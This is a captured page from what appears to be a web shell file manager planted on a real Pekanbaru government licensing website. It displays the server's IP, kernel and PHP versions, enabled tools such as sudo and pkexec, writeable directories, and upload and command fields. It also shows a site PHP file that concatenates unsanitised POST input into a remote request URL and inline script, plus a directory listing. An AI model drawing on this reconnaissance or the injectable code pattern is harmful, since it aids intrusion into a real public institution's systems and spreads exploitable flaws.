p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/home/part/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/home/part/getDataStat.php
<?php
	require_once '../tracking/curl/curl.php';	
	$curl = new Curl();
	$curl->get('http://183.91.68.90:82/simpel2/index.php?act=Permohonan&task=client&find=statistikPerizinan&izin='.$_POST['data'].'');					
	if ($curl->http_status_code == 200) {
		$response = json_decode($curl->response);			
		$statistik=$response->obj;	
		//debug($statistik);	exit;		
		}else{
			$error=true; 
			$ket='<div class="alert_message red" jQuery><p style="font-weight:700;"><i class="fa fa-ban"></i> ERROR! GAGAL MENGAMBIL DATA DARI SERVER DPMPTSP</p></div>';
		}	
$keyData='';		
$valueDataDetail='';		
foreach($statistik->data as $k=>$v){
	$keyData.="{name: '".$k."',y:".$v->jumlah.",drilldown: '".$k."'},";
	$valueDataDetail.="{name: '".$k."',id: '".$k."',data: [";
	foreach($v->detail as $k2=>$v2){
		$valueDataDetail.="['".$k2."',".$v2->jumlah."],";
	}
	$valueDataDetail.="]},";	
}
?> 
		<script type="text/javascript" src="../js/jquery.min.js"></script>
		<script type="text/javascript">
		$(function () {
			// Create the chart
			$('#statData').highcharts({
				chart: {
					type: 'column'
				},
				title: {
					text: '<?php echo 'contoh saja';?>'
				},
				subtitle: {
					text: 'Sumber: DPMPTSP Kota Pekanbaru'
				},
				xAxis: {
					type: 'category'
				},				
				yAxis: {
					title: {
						text: 'Jumlah'
					}

				},
				legend: {
					enabled: false
				},
				plotOptions: {
					series: {
						borderWidth: 0,
						dataLabels: {
							enabled: true,
							format: '{point.y}'
						}
					}
				},

				tooltip: {
					headerFormat: '<span style="font-size:11px">{series.name}</span><br>',
					pointFormat: '<span style="color:{point.color}">{point.name}</span>: <b>{point.y}</b><br/>'
				},

				series: [{
					name: 'Tahun',
					colorByPoint: true,
					data: [<?php echo $keyData;?>]
				}],
				drilldown: {
					series: [<?php echo $valueDataDetail;?>]
				}
			});
		});
		</script>
<script src="../js/highcharts.js"></script>
<script src="../js/drilldown.js"></script>	
		<style type="text/css">
			.statChart {
				height: 400px; 
				min-width: 310px; 
				width: 100%;
				max-width: 800px;
				margin: 0 auto;
			}
		</style>
<div id="statData" class="statChart"></div>
	
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
July 30 2026 06:50:24
1000 / 1000
0755
.htaccess
2.016 KB
January 13 2024 08:41:29
1000 / 1000
0755
contact.php
1.068 KB
January 13 2024 08:41:29
1000 / 1000
0755
fetch_pages.php
2.002 KB
January 13 2024 08:41:30
1000 / 1000
0755
foot.php
5.22 KB
April 22 2024 02:35:09
1000 / 1000
0755
getDataStat.php
2.233 KB
January 13 2024 08:41:30
1000 / 1000
0755
head.php
4.311 KB
January 15 2024 04:21:28
1000 / 1000
0755
importJS.php
15.066 KB
January 13 2024 08:41:30
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:41:30
1000 / 1000
0755
nav.php
16.395 KB
July 30 2024 02:34:22
1000 / 1000
0755
sidebar.php
7.244 KB
August 07 2026 08:12:25
1000 / 1000
0755
simple_html_dom.php
63.513 KB
January 15 2024 03:55:35
1000 / 1000
0755
visitor_log.php
0.237 KB
January 13 2024 08:41:30
1000 / 1000
0755